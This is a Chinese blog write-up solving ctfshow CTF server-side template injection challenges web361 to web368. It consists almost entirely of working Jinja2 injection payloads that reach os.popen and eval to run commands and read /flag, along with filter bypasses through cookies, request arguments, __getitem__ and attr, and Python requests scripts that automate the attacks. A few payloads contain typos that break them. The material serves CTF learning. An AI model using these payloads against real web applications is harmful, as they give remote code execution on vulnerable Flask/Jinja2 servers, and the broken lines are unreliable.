ctfshow-ssti注入


web361

  • name是参数
  1. 求出所有子类
?name={{"".__class__.__base__.__subclasses__()}}
  • 利用脚本找出,包含os字段的类
import requests


for i in range(1,200):
    url = 'http://ce0db590-b721-44db-a781-5af191cb0678.challenge.ctf.show:8080/?name={{"".__class__.__base__.__subclasses__()[%s]}}' % i
    s = requests.get(url)

    if 'os' in s.text:
        print(url+"\n")
        print(s.text)

image-20210727093534128

  • 对类进行初始化对象,引用方法
{{''.__class__.__base__.__sunclasses__()[132].__globals__['popen']("dir /").read()}} //调用os类中的popen函数。查看根目录  

image-20210727094647177

  • 打开flag文件
{{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27]("tac%20/flag").read()}}

web362

  • 不能用之前的方式跑出包含os类的子类

image-20210727100158620

  • 先随便写一个类。初始化为对象,找到他的全局变量
name={{x.__init__.__globals__}}
  • 官方文档对__globals__的说明

image-20210727102015637

所以__globals__也包括程序内部导入的模块

  • 调用默认模块,并执行eval函数,导入os模块执行popen函数
name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("dir /").read()')}}

name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("tac /flag").read()')}}

web363

  • 过滤了__builtins__,

采用request获得参数request.args.x1,request.args.x2

name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__("os").popen("tac /flag").read()

web364

  • 通过request.cookie.x1获得参数
name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}

cookie: 
		x1 : __builtins
		x2 : __import__("os").popen("tac /flag").read()

image-20210727111138922

web365

  • 过滤[]通过__getitem__()
name={{x.__init__.globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie:
		x1 : __builtins__
		x2 : __import__("os").popen("tac /flag").read()

web367

jinjia2模版内置过滤器

image-20210727125915576

?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}

cookie :
		x1 : __init__
    x2 : __globals__
    x3 : __getitem__
    x4 : __builtins__
    x5 : import('os').popen('dir /').read()

web368

  • 过滤了eval,print替换
import requests
url = 'http://7ec3c466-1001-4277-a379-6a624e57b034.challenge.ctf.show:8080/?name={%set a=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(a.open(request.cookies.x5).read())%}'
header = {
    'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''
}
s = requests.get(url,headers=header)

print(s.text)

文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录